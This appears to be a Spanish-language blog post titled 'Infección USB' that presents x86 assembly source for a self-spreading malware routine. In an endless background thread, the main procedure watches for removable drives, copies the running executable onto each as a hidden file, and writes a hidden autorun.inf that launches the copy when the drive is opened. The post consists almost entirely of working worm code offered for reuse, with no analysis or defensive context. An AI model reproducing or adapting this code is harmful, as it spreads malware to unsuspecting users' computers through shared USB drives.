Twitter
RSS

Infección USB

Forma de llamarlo:
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0



Variables:

Autorun db '[autoRun]',13,10,\
'action=Open Files On Folder',13,10,\
'shellexecute=',0
Autorun2 db 13,10,\
'UseAutoPlay=1',0
BufferUnidades rb 31

Funciones extras:



proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
mov esi,[@AdrSrc1]
mov edi,[@AdrDest]

.concat_src1:
movsb
cmp byte[esi],0
jne .concat_src1

mov esi,[@AdrSrc2]

.concat_src2:
movsb
cmp byte[esi],0
jne .concat_src2

movsb

ret
endp

proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
push ebx
xor ebx,ebx
mov ebx,[ruta]
stdcall len,[ruta]
add ebx,eax
@@:
dec ebx
cmp byte[ebx],5Ch
jne @b
inc ebx
mov eax,ebx
pop ebx
ret
endp

proc Zerar,Puntero,Cantidad

push ecx
push ebx

mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:

mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp





Función principal:

proc InfeccionUSB
locals
Miruta dd ?
Minombre dd ?
MiRutaInfeccionaria dd ?
MiAutorun dd ?
RutaAutorun dd ?
handleCreado dd ?
tamaño dd ?
bEscritos dd ?
endl
pushad

invoke GlobalAlloc,GPTR,MAX_PATH
mov [Miruta],eax
invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
stdcall ConseguirNombre,[Miruta]
mov [Minombre],eax
.infinito:
invoke SleepEx,1000,FALSE
stdcall Zerar,BufferUnidades,30
invoke GetLogicalDriveStringsA,30,BufferUnidades
mov ebx,BufferUnidades
.bucleDetectaExtraible:
invoke GetDriveTypeA,ebx

.if eax = DRIVE_REMOVABLE
.if word[ebx] = 'A:'
.else
invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiRutaInfeccionaria],eax
stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]

; stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
invoke PathFileExistsA,[MiRutaInfeccionaria]
.if eax = FALSE

invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
;SetFileAttributes
invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiAutorun] ,eax
invoke GlobalAlloc,GPTR,MAX_PATH
mov [RutaAutorun],eax
stdcall Concat,Autorun,[Minombre], [MiAutorun]
stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
stdcall Concat,ebx,"autorun.inf",[RutaAutorun]

invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
mov [handleCreado], eax
invoke lstrlenA,[MiAutorun]
mov [tamaño],eax
invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL


invoke CloseHandle, [handleCreado]
invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
invoke GlobalFree,[MiAutorun]

invoke GlobalFree,[RutaAutorun]
.endif
invoke GlobalFree,[MiRutaInfeccionaria]
.endif
.endif

.if byte[ebx] = 0

invoke GlobalFree,[Miruta]
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
invoke ExitThread,0
.else
add ebx,4
jmp .bucleDetectaExtraible
.endif
endp

Comments (0)